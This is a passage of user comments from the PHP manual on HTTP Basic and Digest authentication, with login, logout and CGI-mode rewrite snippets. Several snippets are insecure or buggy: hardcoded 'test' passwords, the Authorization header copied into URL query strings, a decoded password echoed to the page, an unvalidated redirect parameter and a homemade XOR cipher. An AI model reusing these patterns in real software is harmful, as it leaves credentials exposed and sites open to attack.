        print '<p>This is secure content</p>';
        print '<p><a href="/auth/' . $_SESSION['session_id'] . '/?action=HomePage">Home Page</a></p>';
    } else {
        print '<h1>Not Authorized</h1>';
    }
}

function IsAuthenticated() {
    if (isset($_SERVER['PHP_AUTH_USER']) && isset($_SERVER['PHP_AUTH_PW'])) {
        $httpd_username = filter_var($_SERVER['PHP_AUTH_USER'], FILTER_SANITIZE_STRING, FILTER_FLAG_ENCODE_HIGH|FILTER_FLAG_ENCODE_LOW);
        $httpd_password = filter_var($_SERVER['PHP_AUTH_PW'], FILTER_SANITIZE_STRING, FILTER_FLAG_ENCODE_HIGH|FILTER_FLAG_ENCODE_LOW);
        if ($httpd_username == "test" && $httpd_password == "test") {
            return TRUE;
        } else {
            return FALSE;
        }
    }
    return FALSE;
}

?>

Both files need to be put in a folder named /auth for these examples to work. You can change the folder name in the index.php example to suit your own environment.

A the start of the script a unique id is generated through PHP session mechanism and this session id is inserted into the url (hence the requirement for mod_rewrite to catch these urls). A redirect takes place to this new url and the homepage is shown. If you click on login a 401 header is generated using a realm that uses the same session id. If you click logout the current session id is destroyed and you are redirected to the start of the script where a new session id is generated. If you click on a protected item without a login the login function is called.
Anonymous 09-Sep-2009 07:02
The regex in http_digest_parse from Example #2 does not work for me (PHP 5.2.6), because back references are not allowed in a character class.  This worked for me:

<?php

// function to parse the http auth header
function http_digest_parse($txt)
{
   // protect against missing data
   $needed_parts = array('nonce'=>1, 'nc'=>1, 'cnonce'=>1, 'qop'=>1, 'username'=>1, 'uri'=>1, 'response'=>1);
   $data = array();

   preg_match_all('@(\w+)=(?:(?:\'([^\']+)\'|"([^"]+)")|([^\s,]+))@', $txt, $matches, PREG_SET_ORDER);

   foreach ($matches as $m) {
       $data[$m[1]] = $m[2] ? $m[2] : ($m[3] ? $m[3] : $m[4]);
       unset($needed_parts[$m[1]]);
   }

   return $needed_parts ? false : $data;
}

?>
s dot i dot g at gmx dot com 06-Sep-2009 09:34
<?php

// try to mimic cpanel logout style
// only diff is usr & pwd field is cleared when re-login
// tested with ff2 & ie8

session_start();

$username = "test";
$password = "test";

if(isset($_GET['logout']))
{
  unset($_SESSION["login"]);
  echo "You have logout ... ";
  echo "[<a href='" . $_SERVER['PHP_SELF'] . "'>Login</a>]";
  exit;
}

if (!isset($_SERVER['PHP_AUTH_USER']) || !isset($_SERVER['PHP_AUTH_PW']) || !isset($_SESSION["login"]))
{
  header("WWW-Authenticate: Basic realm=\"Test\"");
  header("HTTP/1.0 401 Unauthorized");
  $_SESSION["login"] = true;
  echo "You are unauthorized ... ";
  echo "[<a href='" . $_SERVER['PHP_SELF'] . "'>Login</a>]";
  exit;
}
else
{
  if($_SERVER['PHP_AUTH_USER'] == $username && $_SERVER['PHP_AUTH_PW'] == $password)
  {
    echo "You have logged in ... ";
    echo "[<a href='" . $_SERVER['PHP_SELF'] . "?logout'>Logout</a>]";
  }
  else
  {
    unset($_SESSION["login"]);
    header("Location: " . $_SERVER['PHP_SELF']);
  }
}

// content here

?>
norther 25-Jun-2009 09:36
If you are using PHP + IIS, make sure to set HTTP Error 401;5 to Default in IIS directory config. Otherwise it won't prompt for username and password but just show an error message.
jon at toolz4schoolz dot com 16-Apr-2009 03:10
I can't get the second example to work. The regular expression is beyond the scope of this programmer so I rewrote it as seven easy-to-read regular expressions and it works.

Here's the whole function http_digest_parse() that works for me:

<?php

// function to parse the http auth header
function http_digest_parse($txt) {

// protect against missing data
/*
$needed_parts = array('nonce'=>1, 'nc'=>1, 'cnonce'=>1, 'qop'=>1, 'username'=>1, 'uri'=>1, 'response'=>1);
$data = array();

preg_match_all('@(\w+)=(?:([\'"])([^\2]+)\2|([^\s,]+))@', $txt, $matches, PREG_SET_ORDER);

foreach ($matches as $m) {
    $data[$m[1]] = $m[3] ? $m[3] : $m[4];
    unset($needed_parts[$m[1]]);
}
*/

$res = preg_match("/username=\"([^\"]+)\"/i", $txt, $match);
$data['username'] = $match[1];
$res = preg_match('/nonce=\"([^\"]+)\"/i', $txt, $match);
$data['nonce'] = $match[1];
$res = preg_match('/nc=([0-9]+)/i', $txt, $match);
$data['nc'] = $match[1];
$res = preg_match('/cnonce=\"([^\"]+)\"/i', $txt, $match);
$data['cnonce'] = $match[1];
$res = preg_match('/qop=([^,]+)/i', $txt, $match);
$data['qop'] = $match[1];
$res = preg_match('/uri=\"([^\"]+)\"/i', $txt, $match);
$data['uri'] = $match[1];
$res = preg_match('/response=\"([^\"]+)\"/i', $txt, $match);
$data['response'] = $match[1];

//return $needed_parts ? false : $data;
return $data;

}

?>
Yuriy 15-Feb-2009 03:11
Good day.
Sorry for my english.
This example shows programming "LOGIN", "LOGOUT" and "RE-LOGIN".
This script must use in the protected pages.
For work this script the browser address string must be following:
"http://localhost/admin/?login" - for Login,
"http://localhost/admin/?logout" - for Logout,
"http://localhost/admin/?logout&login" - for Re-Login.
<?php
session_start();

$authorized = false;

# LOGOUT
if (isset($_GET['logout']) && !isset($_GET["login"]) && isset($_SESSION['auth']))
{
    $_SESSION = array();
    unset($_COOKIE[session_name()]);
    session_destroy();
    echo "logging out...";
}

# checkup login and password
if (isset($_SERVER['PHP_AUTH_USER']) && isset($_SERVER['PHP_AUTH_PW']))
{
    $user = 'test';
    $pass = 'test';
    if (($user == $_SERVER['PHP_AUTH_USER']) && ($pass == ($_SERVER['PHP_AUTH_PW'])) && isset($_SESSION['auth']))
    {
    $authorized = true;
    }
}

# login
if (isset($_GET["login"]) && !$authorized ||
# relogin
    isset($_GET["login"]) && isset($_GET["logout"]) && !isset($_SESSION['reauth']))
{
    header('WWW-Authenticate: Basic Realm="Login please"');
    header('HTTP/1.0 401 Unauthorized');
    $_SESSION['auth'] = true;
    $_SESSION['reauth'] = true;
    echo "Login now or forever hold your clicks...";
    exit;
}
$_SESSION['reauth'] = null;
?>
<h1>you have <? echo ($authorized) ? (isset($_GET["login"]) && isset($_GET["logout"]) ? 're' : '') : 'not '; ?>logged!</h1>
byoung at bigbluehat dot com 16-Dec-2008 09:02
The sample from danja at k0a1a dot net is great for getting started. However, it has some typos. Below is a slightly revised version that should work "out of the box":

<?php
session_start();

$authorized = false;

if(isset($_GET['logout']) && ($_SESSION['auth'])) {
    $_SESSION['auth'] = null;
    session_destroy();
    echo "logging out...";
}

if(isset($_SERVER['PHP_AUTH_USER']) && isset($_SERVER['PHP_AUTH_PW'])) {
    $user = 'test';
    $pass = 'test';
    if (($user == $_SERVER['PHP_AUTH_USER']) && ($pass == ($_SERVER['PHP_AUTH_PW'])) && (!empty($_SESSION['auth']))) {
        $authorized = true;
    }
}

if (isset($_GET["login"]) && (! $authorized)) {
    header('WWW-Authenticate: Basic Realm="Login please"');
    header('HTTP/1.0 401 Unauthorized');
    $_SESSION['auth'] = true;
    print('Login now or forever hold your clicks...');
    exit;
}

?>

<h1>you have <? echo ($authorized) ? '' : 'not'; ?> logged!</h1>
danja at k0a1a dot net 18-Sep-2008 06:42
a simplistic login/logout script, mainly for development of user-customizable pages.

<?php
session_start();

$autorized = false;

if(isset($_GET['logout']) && ($_SESSION['auth'])) {
    $_SESSION['auth'] = null;
    session_destroy();
    echo "logging out...";
}

if(isset($_SERVER['PHP_AUTH_USER']) && isset($_SERVER['PHP_AUTH_PW'])) {
    $user = test;
    $pass = test;
    if (($user == $_SERVER['PHP_AUTH_USER']) && ($pass == ($_SERVER['PHP_AUTH_PW'])) && ($_SESSION['auth'])) {
        $authorized = true;
    }
}

if (isset($_GET["login"]) && (! $authorized)) {
    header('WWW-Authenticate: Basic Realm="Login please"');
    header('HTTP/1.0 401 Unauthorized');
    $_SESSION['auth'] = true;
    print('Login now or forever hold your clicks...');
    exit;
}

?>

<h1>you have <? echo ($authorized) ? '' : 'not'; ?> logged!</h1>

<?

?>
silkensedai at online dot fr 16-Apr-2008 06:21
Here is my code for basic authentification login/logout.

Include that code before any of your files:
<?php
function redirect_back($http=true, $html=true, $back=NULL){
    if(is_null($back)){
        if(isset($_REQUEST['referer'])){
            $back = $_REQUEST['referer'];
        //}elseif(isset($_SERVER['HTTP_REFERER'])){
        //    $back = isset($_SERVER['HTTP_REFERER']);
        }else{
            $back = "index.html";
        }
    }
    if($http) header("Location: $back");
    if($html){
        $back = htmlspecialchars($back);
        print <<<EOF
<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/strict.dtd">
<html>
  <head>
    <meta http-equiv="refresh" content="0; url=$back">
  </head>
  <body>
    <h1>HTTP/1.0 401 Unauthorized</h1>
    <p><a href="$back">Go back</a></p>
  </body>
</html>
EOF;
        exit();
    }
}
$userid = 0;
$username = false;
if(isset($_SERVER['PHP_AUTH_USER']) and $_SERVER['PHP_AUTH_USER']){
    $username = $_SERVER['PHP_AUTH_USER'];
    $userid = authenticate($username, $_SERVER['PHP_AUTH_PW']);
    if($userid===false) $username=false; // login failed
}
// If login succeeded (we have a username) or logout succeeded (no username)
if(isset($_GET['login']) && $username || isset($_GET['logout']) && !$username){
    // Go back
    redirect_back();
}elseif(isset($_GET['login']) || isset($_GET['logout'])){
    // Ask for password
    header('WWW-Authenticate: Basic realm=""');
    header('HTTP/1.0 401 Unauthorized');
    redirect_back(false);
}
?>

You have to test of $username is not false if you want to be sure the user is authenticated.

Example of use in HTML code:

<?php if($username){ ?>
            <p>You are logged in with username <?php print htmlspecialchars($username); ?>.</p>
            <ul>
                <li><a href="?logout&amp;referer=<?php print htmlspecialchars(urlencode($_SERVER['PHP_SELF'])); ?>">logout</a></li>
            </ul>
<?php }else{ ?>
            <p>You are anonymous.</p>
            <ul>
                <li><a href="?login&amp;referer=<?php print htmlspecialchars(urlencode($_SERVER['PHP_SELF'])); ?>">login</a></li>
            </ul>
<?php } ?>
Lars Stecken 12-Feb-2008 07:23
To anybody who tried the digest example above and didn't get it to work.

For me the problem seemed to be the deprecated use of '\' (backslash) in the regex instead of the '$' (Dollar) to indicate a backreference. Also the results have to be trimmed off the remaining double and single quotes.

Here's the working example:

// function to parse the http auth header
function http_digest_parse($txt)
{

    // protect against missing data
    $needed_parts = array('nonce'=>1, 'nc'=>1, 'cnonce'=>1, 'qop'=>1, 'username'=>1, 'uri'=>1, 'response'=>1);
    $data = array();

    preg_match_all('@(\w+)=(?:([\'"])([^$2]+)$2|([^\s,]+))@', $txt, $matches, PREG_SET_ORDER);

    foreach ($matches as $m) {
        $data[$m[1]] = $m[3] ? trim($m[3],"\",'") : trim($m[4],"\",'");
        unset($needed_parts[$m[1]]);
    }

    return $needed_parts ? false : $data;
}

Probably there's a more sophisticated way to trim the quotes within the regex, but I couldn't be bothered :-)

Greets, Lars
mt at shrewsbury dot org dot uk 12-Oct-2007 11:28
On my servers here, the standard rewrite spell

RewriteRule .* - [E=REMOTE_USER:%{HTTP:Authorization},L]

to set $_SERVER[REMOTE_USER] with digest authentication results in the entire digest being bundled into $_SERVER[REMOTE_USER]

I have used this :

RewriteCond %{HTTP:Authorization} username=\"([^\"]+)\"
RewriteRule .* - [E=REMOTE_USER:%1,L]

And it seems to work successfully.
gbelyh at gmail dot com 27-Jul-2007 08:48
Back to the autherisation in CGI mode. this is the full working example:

#  Create the .htaccess file with following contents:
# also you can use the condition (search at this page)
RewriteEngine on
RewriteRule .* - [E=REMOTE_USER:%{HTTP:Authorization},L]

# In the beginning the script checking the authorization place the code:

$userpass = base64_decode(substr($_SERVER["REDIRECT_REMOTE_USER"],6)) ;

$userpass = explode(":", $userpass);

if (  count($userpass) == 2  ){
     #this part work not for all.
     #print_r($userpass);die; #<- this can help find out right username and password
     list($name, $password) = explode(':', $userpass);
     $_SERVER['PHP_AUTH_USER'] = $name;
     $_SERVER['PHP_AUTH_PW'] = $password;

}
tonwyatt at yahoo dot com 24-Jul-2007 10:27
Here is my attempt to create a digest authentication class that will log the user in and out without using a cookie,session,db,or file. At the core is this simple code to parse the digest string into variables works for several browsers.
<?php
// explode the digest with multibrowser support by Tony Wyatt 21jun07
public function explodethedigest($instring) {
$quote = '"';
$equal = '=';
$comma = ',';
$space = ' ';
$a = explode( $comma, $instring);
$ax = explode($space, $a[0]);
$b = explode( $equal, $ax[1], 2);
$c = explode( $equal, $a[1], 2);
$d = explode( $equal, $a[2], 2);
$e = explode( $equal, $a[3], 2);
$f = explode( $equal, $a[4], 2);
$g = explode( $equal, $a[5], 2);
$h = explode( $equal, $a[6], 2);
$i = explode( $equal, $a[7], 2);
$j = explode( $equal, $a[8], 2);
$k = explode( $equal, $a[9], 2);
$l = explode( $equal, $a[10], 2);
$parts = array(trim($b[0])=>trim($b[1], '"'), trim($c[0])=>trim($c[1], '"'), trim($d[0])=>trim($d[1], '"'), trim($e[0])=>trim($e[1], '"'), trim($f[0])=>trim($f[1], '"'), trim($g[0])=>trim($g[1], '"'), trim($h[0])=>trim($h[1], '"'), trim($i[0])=>trim($i[1], '"'), trim($j[0])=>trim($j[1], '"'), trim($k[0])=>trim($k[1], '"'), trim($l[0])=>trim($l[1], '"'));

return $parts;
}
?>
Give it a try at http://tokko.kicks-ass.net/tests/ta1.php Log in with user test password pass or user guest password guest. Go to page two for links to the code. Comments, ideas, suggestions, or critique welcome.
rovok at web dot de 03-Apr-2007 09:05
People are encouraged NOT to use register_globals, but Example 34.2. of german PHP documentation (http://de.php.net/manual/de/features.http-auth.php) uses register_globals in their example, assumed that the example is the whole script.

There is a <form> which has an <input> with type = "hidden", a name = "SeenBefore" and a value = "1". The Form is submitted by POST, so $SeenBefore should better be accessed by $_POST['SeenBefore'] instead of $SeenBefore.
Dutchdavey 16-Mar-2007 04:28
My sincere thanks to: webmaster at kratia dot com 21-Feb-2007 01:53

The principle is to not allow an invalid PHP_AUTH_USER to exist.

The following easy peasy example using Oracle is based on his simple genius:

///////////////////////////////////////////////////////////////
//
// do_html_header
//
// This function outputs the html header for the page.
//
//////////////////////////////////////////////////////////////////
function initialize_session()
{
   $err=error_reporting(0);
   $connection=oci_connect($_SERVER['PHP_AUTH_USER'],
                          $_SERVER['PHP_AUTH_PW'],$databasename) ;
   error_reporting($err);
   if (!$connection)
   {
      header('WWW-Authenticate: Basic Realm="ZEIP1"');
      header('HTTP/1.0 401 Unauthorized');
      echo "Login Cancelled';
      exit;
   }
   ..
   Normal Code..
   ..
}
Nicolas Merlet - admin(at)merletn.org 05-Mar-2007 06:37
Be careful using http digest authentication (see above, example 34.2) if you have to use the 'setlocale' function *before* validating response with the 'http_digest_parse' function, because there's a conflict with \w in the pattern of 'preg_match_all' function :

In fact, as \w is supposed to be any letter or digit or the underscore character, you must not forgot that this may vary depending on your locale configuration (eg. it accepts accented letters in french)...

Due to this different pattern interpretation by the 'preg_match_all' function, the 'http_digest_parse' function will always return a false result if you have modified your locale (I mean if your locale accepts some extended characters, see http://fr.php.net/manual/en/reference.pcre.pattern.syntax.php for further information).

IMHO, I suggest you not to use setlocale before having your authentication completed...

PS : Here's a non-compatible setlocale declaration...
setlocale ( LC_ALL, 'fr_FR', 'fr', 'FR', 'french', 'fra', 'france', 'French', 'fr_FR.ISO8859-1' ) ;
webmaster at kratia dot com 21-Feb-2007 01:53
This is the simplest form I found to do a Basic authorization with retries.

<?php

$valid_passwords = array ("mario" => "carbonell");
$valid_users = array_keys($valid_passwords);

$user = $_SERVER['PHP_AUTH_USER'];
$pass = $_SERVER['PHP_AUTH_PW'];

$validated = (in_array($user, $valid_users)) && ($pass == $valid_passwords[$user]);

if (!$validated) {
  header('WWW-Authenticate: Basic realm="My Realm"');
  header('HTTP/1.0 401 Unauthorized');
  die ("Not authorized");
}

// If arrives here, is a valid user.
echo "<p>Welcome $user.</p>";
echo "<p>Congratulation, you are into the system.</p>";

?>
mg at evolution515 dot net 06-Feb-2007 01:20
Example for digest doesn't work (at least for me):

use this fix:
--------------
preg_match_all('@(\w+)=(?:(([\'"])(.+?)\3|([A-Za-z0-9/]+)))@', $txt, $matches, PREG_SET_ORDER);

foreach ($matches as $m) {
    $data[$m[1]] = $m[4] ? $m[4] : $m[5];
    unset($needed_parts[$m[1]]);
}

It's also better to but to put the Auth-Digest-Header in a function and call it on unsuccessful authentification again. Otherwise users only have the chance to submit their username/password just one time.
bleuciell at aol dot com 29-Dec-2006 09:51
For admin , i repair a fault , all is good now
Sorry for my english

It's a piece of code , to give a piece of reflexion about simple auth , we can also cryp login and pass in db , time is here for non-replay , the code isn't finish , but it work , only for reflexion about auth mechanism

<?php
function ky( $txt,$crypt) { $key = md5($crypt); $cpt = 0; $var = "";
for ( $Ctr = 0; $Ctr < strlen($txt); $Ctr++) { if ($cpt == strlen($crypt)) $cpt = 0;
$var.= substr($txt,$Ctr,1) ^ substr($crypt,$cpt,1); $cpt++; } return $var; }

$key = "";$list = 'abcdefghijklmnopqrstuvwxyz0123456789';
for($i = 0; $i< 200; $i++) {  $key .= $list{mt_rand() % strlen($list)}; }

function cryp($txt,$key){ srand((double)microtime()*735412);  $crypt = crypt(rand(0,3895234));$cpt = 0;$var= "";
for ( $Ctr=0; $Ctr < strlen($txt); $Ctr++ ) { if ($cpt == strlen($crypt))$cpt = 0;
$var.= substr($crypt,$cpt,1).( substr($txt,$Ctr,1) ^ substr($crypt,$cpt,1) ); $cpt++; } return base64_encode(ky($var,$key) ); }

function dcryp($txt,$key){ $txt=ky(base64_decode($txt),$key);$var= "";
for ( $Ctr = 0; $Ctr < strlen($txt); $Ctr++ ) { $md5 = substr($txt,$Ctr,1);$Ctr++; $var.= (substr($txt,$Ctr,1) ^ $md5); }return $var;}

$time= time(); $user = cryp('bubu',$key); $pwd = cryp('bubu-'.$time.'',$key);

function pwd($j,$key){ $x = dcryp($j,$key); $x = explode('-',$x); return $x[0];}
function pwd2($j,$key){ $x = dcryp($j,$key); $x = explode('-',$x); return $x[1];}

function auth(){$realm="Authentification PHPindex";
Header("WWW-Authenticate: Basic realm='".$realm."'");Header("HTTP/1.0  401  Unauthorized");
echo "Vous ne pouvez accéder à cette page"; }

if( !isset($_SERVER['PHP_AUTH_USER']) && !isset($_SERVER['PHP_AUTH_PW']) ) {auth();
} else {
if( $_SERVER['PHP_AUTH_USER'] == dcryp($user,$key) && $_SERVER['PHP_AUTH_PW'] == pwd($pwd,$key) && $time == pwd2($pwd,$key)) {

          echo '';

} else{ auth();}}

?>
Whatabrain 10-Nov-2006 04:05
Back to the problem of authenticating in CGI mode... mcbethh suggested using this to set a local variable in php:
RewriteRule .* - [E=REMOTE_USER:%{HTTP:Authorization},L]

It didn't work. I couldn't see the variable. My solution is pretty round-about, but it works:

RewriteEngine on
RewriteCond %{HTTP:Authorization} !^$
RewriteCond %{REQUEST_METHOD} =GET
RewriteCond %{QUERY_STRING} =""
RewriteRule ^page.php$ page.php?login=%{HTTP:Authorization}$1

This causes the Auth string to be added to the URL if there are no parameters and it's a GET request. This prevents POSTs and parameter lists from being corrupted.

Then, in the PHP script, I store the Auth string as a session cookie.

So the only way to log in to my script is to go to the url with no parameters.
admin at isprohosting dot com 01-Nov-2006 03:21
There are .htaccess which actually works for us (cPanel + phpsuexec) unless others failed. Perhaps it may help someone.

# PHP (CGI mode) HTTP Authorization with ModRewrite:
RewriteEngine on
RewriteCond %{HTTP:Authorization} ^(.*)
RewriteRule ^(.*) - [E=HTTP_AUTHORIZATION:%1]

Then you need small piece of php code to parse this line and then everything will work like with mod_php:

if (isset($_SERVER['HTTP_AUTHORIZATION']))
{
$ha = base64_decode( substr($_SERVER['HTTP_AUTHORIZATION'],6) );
list($_SERVER['PHP_AUTH_USER'], $_SERVER['PHP_AUTH_PW']) = explode(':', $ha);
unset $ha;
}

Enjoy!
SlamJam 24-Oct-2006 08:28
I used Louis example (03-Jun-2006) and it works well for me (thanks).

However, I added some lines, to make sure, the user does only get the Authentification-Window a few times:

<?php
$realm = mt_rand( 1, 1000000000)."@YourCompany";
$_SESSION['realm'] = $realm;

// In the beginning, when the realm ist defined:
$_SESSION['CountTrials'] = 1;
?>

And then when it comes to check the authentification (ZEND-Tutorial):

<?php

// Not more than 3 Trials
if (!$auth) {
   $_SESSION['CountTrials']++;
   if ($_SESSION['CountTrials'] == 4) {
       session_destroy() ;
       header('Location: noentry.php');
       exit ;
   } else {
       header("WWW-Authenticate: Basic realm=".$_SESSION['realm']);
       header("HTTP/1.0 401 Unauthorized");
       echo 'Authorization Required.';
       exit;
   }
} else {
         echo '<P>You are authorized!</P>';
}
?>

noentry.php is slightely different from comeagain.php.
roychri at php dot net 11-Oct-2006 05:12
For PHP with CGI, make sure you put the rewrite rule above any other rewrite rule you might have.

In my case, I put this at the top of the .htaccess (below RewriteEngine On):
RewriteRule .* - [E=REMOTE_USER:%{HTTP:Authorization}]

My symptom was that the REMOTE_USER (or REDIRECT_REMOTE_USER in my case) was not being set at all.
The cause: I had some other RewriteRule that was kickin in and was set as LAST rule.
I hope this helps.
blah at blah dot com 27-Jul-2006 09:46
Getting PHP Authentication to work with CGI-bin.

You must have mod_rewrite installed for this to work. In the directory (of the file) you want to protect, for the .htaccess file:

# PHP (CGI mode) HTTP Authorization with ModRewrite:
# most right example with header check for non empty:
RewriteEngine on
RewriteCond %{HTTP:Authorization}  !^$
RewriteRule ^test.php$ test.php?login=%{HTTP:Authorization}

Change the Rewrite rule to whatever you want it to be. For simplicity, this example only applies to one file, test.php and only if the HTTP Authorization needs to take place.

In the php file:
<?
if (isset($_GET['login'])) {
    $d = base64_decode( substr($_GET['login'],6) );
    list($name, $password) = explode(':', $d);
    echo 'Name:' . $name . "<br>\n";
    echo 'Password:' . $password . "<br>\n";
} else {
   header('WWW-Authenticate: Basic realm="My Realm"');
   header('HTTP/1.0 401 Unauthorized');
   echo 'You are not authorized. Bad user, bad!';
   exit;
}
?>

You need to get rid of the first 6 characters for some reason, then decode the Auth data from its base64 format. Then it's a simple matter of extracting the data. You can even pass the data to the $_SERVER variables $_SERVER['PHP_AUTH_USER'] and $_SERVER['PHP_AUTH_PW']. These are the variables that get the login data if you have PHP running as an Apache module. This is useful for mods or plugins.
web at kwi dot dk 12-Jul-2006 07:23
While Digest authentication is still far superior to Basic authentication, there are a number of security issues that one must keep in mind.

In this respect, the Digest example given above is somewhat flawed, because the nonce never times out or otherwise become invalid. It thus becomes a password-equivalent (although to that specific URL only) and can be used by an eavesdropper to fetch the page at any time in the future, thus allowing the attacker to always access the latest version of the page, or (much worse) repeatedly invoke a CGI script -- for instance, if the user requests the URL "/filemanager?delete=somefile", the attacker can repeat this deletion at any point in the future, possibly after the file has been recreated.

And while it might not be possible to change GET data without reauthentication, cookies and POST data *can* be changed.

To protect against the first problem, the nonce can be made to include a timestamp, and a check added to ensure that nonces older than e.g. 30 minutes result in a new authentication request.

To solve the second problem, a one-time only nonce needs to be generated -- that is, all further requests using a particular nonce must be refused.

One way to do this: When the user requests an action such as "deletefile", store a randomly generated nonce in a session variable, issue a 401 authentication challenge with that nonce, and then check against the stored value when receiving the authentication (and clear the session variable).

This way, although a possible eavesdropper receives the nonce and thus gains the ability to perform the action, he can only perform it once -- and the user was going to perform it anyway. (Only the user or the attacker, but not both, gets to perform the action, so it's safe.)

Of course, at some point, the security can only be improved by switching to HTTPS / SSL / TLS (this is for instance the only way to defend against man-in-the-middle attacks). You decide the level of security.
Louis 04-Jun-2006 12:51
I couldn't get authentication to work properly with any of the examples. Finally, I started from ZEND's tutorial example at:
http://www.zend.com/zend/tut/authentication.php?article=authentication (validate using .htpasswd) and tried to deal with the additional cases. My general conclusion is that changing the realm is the only reliable way to cause the browser to ask again, and I like to thank the person who put that example in the manual, as it got me on the right path. No matter what, the browser refuses to discard the values that it already has in mind otherwise. The problem with changing the realm, of course, is that you don't want to do it within a given session, else it causes a new request for a password. So, here goes, hopefully the spacing isn't too messed up by the cut'n'paste.

I spent the better part of a day getting this to work right. I had a very hard time thinking through what the browser does when it encounters an authentication request: seems to me that it tries to get the password, then reloads the page... so the HTML doesn't get run. At least, this was the case with IE, I haven't tested it with anything else.

<?php
session_start() ;
if (!isset($_SESSION['realm'])) {
        $_SESSION['realm'] = mt_rand( 1, 1000000000 ).
                " SECOND level: Enter your !!!COMPANY!!! password.";

        header( "WWW-Authenticate: Basic realm=".$_SESSION['realm'] );

        //  Below here runs HTML-wise only if there isn't a $_SESSION,
        // and the browser *can't* set $PHP_AUTH_USER... normally
        // the browser, having gotten the auth info, runs the page
        // again without getting here.
        //  What I'm basically getting to is that the way to get
        // here is to escape past the login screen. I tried
        // putting a session_destroy() here originally, but the
        // problem is that the PHP runs regardless, so the
        // REFRESH seems like the best way to deal with it.
        echo "<meta http-equiv=\"REFRESH\"
                content=\"0;url=index.php\">" ;
        exit;
        }

if ($_POST['logout'] == "logout") {
        session_destroy() ;
        header('Location: comeagain.php');
        exit ;
        }

// "standard" authentication code here, from the ZEND tutorial above.

comeagain.php is as follows:

<?
session_start();
unset($_SESSION['realm']);
session_destroy();
echo "<html><head><title>Logged Out</title><h1>Logout Page</h1><body>" ;
echo "You have successfully logged out of TOGEN";
echo " at ".date("h:m:s")." on ".date("d F Y") ;
echo "<p><a href=\"index.php\">Login Again</a>" ;
echo "</body></html>" ;
?>

The idea is to be able to trash the session (and thus reset the realm) without prompting the browser to ask again... because it has been redirected to logout.php.

With this combination, I get things to work. Just make sure not to have apache run htpasswd authentication at the same time, then things get really weird :-).
henrik at laurells dot net 01-Jun-2006 08:36
Above top example for digest mode dosn't work if you have safemode on. You need to add a dash and UID to the compare string to make it work. Something like this;;

$A1 = md5($data['username'].':'.
                $realm.'-'.getmyuid().':'.
                $users[$data['username']]);
kembl at example dot com 23-May-2006 05:06
# PHP (CGI mode) HTTP Authorization with ModRewrite:
# most right example with header check for non empty:
 RewriteEngine on
 RewriteCond %{HTTP:Authorization}  !^$
 RewriteRule .* - [E=REMOTE_USER:%{HTTP:Authorization}, \
E=PHP_AUTH_USER:%{HTTP:Authorization},L]
cyberscribe at php dot net 08-May-2006 08:47
To implement the Digest authentication mentioned above in PHP < 5.1, try prepending the following:

<?php
$headers = apache_request_headers();
$_SERVER['PHP_AUTH_DIGEST'] = $headers['Authorization'];
?>

or, if you don't like the idea of modifying the global $_SERVER variable directly, just use the first line and then substitute $_SERVER['PHP_AUTH_DIGEST'] in the sample code with $headers['Authorization']. Works great.
ZyX 04-Mar-2006 01:04
Simple PHP Script to login on a Basic Authentication page.

<?php

/* Access Configuration */
define ('x401_host', 'www.example.com');
define ('x401_port', 80);
define ('x401_user', 'your_username');
define ('x401_pass', 'your_password');

/* Function */
function get401Page($file) {
   $out  = "GET $file HTTP/1.1\r\n";
   $out .= "Host: ".x401_host."t\r\n";
   $out .= "Connection: Close\r\n";
   $out .= "Authorization: Basic ".base64_encode(x401_user.":".x401_pass)."\r\n";
   $out .= "\r\n";

   if (!$conex = @fsockopen(x401_host, x401_port, $errno, $errstr, 10))
       return 0;
   fwrite($conex, $out);
   $data = '';
   while (!feof($conex)) {
       $data .= fgets($conex, 512);
   }
   fclose($conex);
   return $data;
}

/* Code */
if ($source = get401Page('/absolute/path/file.php?get=value')) {
  echo $source;
} else {
  echo "I can't connect!";
}

?>
djreficul at yahoo dot com 15-Feb-2006 11:14
Well, I think it's easy to make authentification works correctly. I use a session var to force authentication everytime a user visit the logging area.

<?php
if (!isset ($_SESSION['firstauthenticate'])) {
    session_start();
}
  function authenticate() {
    header('WWW-Authenticate: Basic realm="Sistema autentificaci�n UnoAutoSur"');
    header('HTTP/1_0 401 Unauthorized');
//    header("Status: 401 Access Denied");
    echo "Unauthorized\n";
    exit;
  }
 if (!isset($_SERVER['PHP_AUTH_USER']) || strcmp ($_SERVER['PHP_AUTH_USER'],$user)!=0 ||
      !isset ($_SERVER['PHP_AUTH_PW']) || strcmp($_SERVER['PHP_AUTH_PW'],$pass)!=0 || !isset ($_SESSION['firstauthenticate']) || !$_SESSION['firstauthenticate']) {
     $_SESSION['firstauthenticate']=true;
   authenticate();
 } else {
            //I destroy the session var now
    session_unset();
            //Your code below
 }
?>
notter at thisaddress dot com 12-Jan-2006 04:19
A better example of the solution Brian was suggesting [admins: please delete my previous post]

logout.php:

<?php
if (!isset($_GET['quit'])) { ?>
        <h4>To complete your log out, please click "OK" then "Cancel" in
        this <a href="logout.php?quit=y">log in box</a>. Do not fill in a
        password. This should clear your ID and password from the cache of your
        browser.
        <blockquote>Note: Logging in from this particular box is
        disabled!</blockquote>
        <p>Go <a href="/">back to the site</a>.</h4>
        <?php
} else {
        header('WWW-Authenticate: Basic realm="This Realm"');
        header('HTTP/1.0 401 Unauthorized');
        // if a session was running, clear and destroy it
        session_start();
        session_unset();
        session_destroy();
        echo "<h3>Logged out!</h3><h4>Go <a href=\"/\">back to the site</a>.</h4>";
}
?>

Note: "This Realm" should be changed to precisely match the name of your realm in your main login.
marco dot moser at oltrefersina dot it 09-Jan-2006 03:29
I suggest to demand user's authentication and management to the web server (by .htaccess, ...):

1. configure a global /logon/ directory with a .htaccess file restricted access

2. use fopen wrapper:

  $hh = @fopen("http://{$_SERVER['PHP_AUTH_USER']}:{$_SERVER['PHP_AUTH_PW']}".
    @{$_SERVER['SERVER_NAME']}/logon/", "r");
  if (!$hh) authenticate(); // usual header WWW-Authenticate ...
  fclose($hh);
sezer yalcin 17-Dec-2005 10:16
none of those 'logout' methods would work well.

Even tricky ones like using cookie to reset cache.

Do not waste your time on this.

Browsers want to keep username and password to help user anyway. Try closing the window, or telling user to restart browser.
oaev at mail dot ru 19-Oct-2005 10:26
Once more time about PHP through CGI.

Sometimes by some reasons (settings) web-server does not allow to set any environment variables through .htaccess file, so method offered by bernard dot paques at bigfoot dot com will not work.

Another way to solve this is to set some GET variable:

file .htaccess (it's just my example, maybe you can find better way):

<IfModule mod_rewrite.c>
   RewriteEngine on

   RewriteCond %{QUERY_STRING} ^$
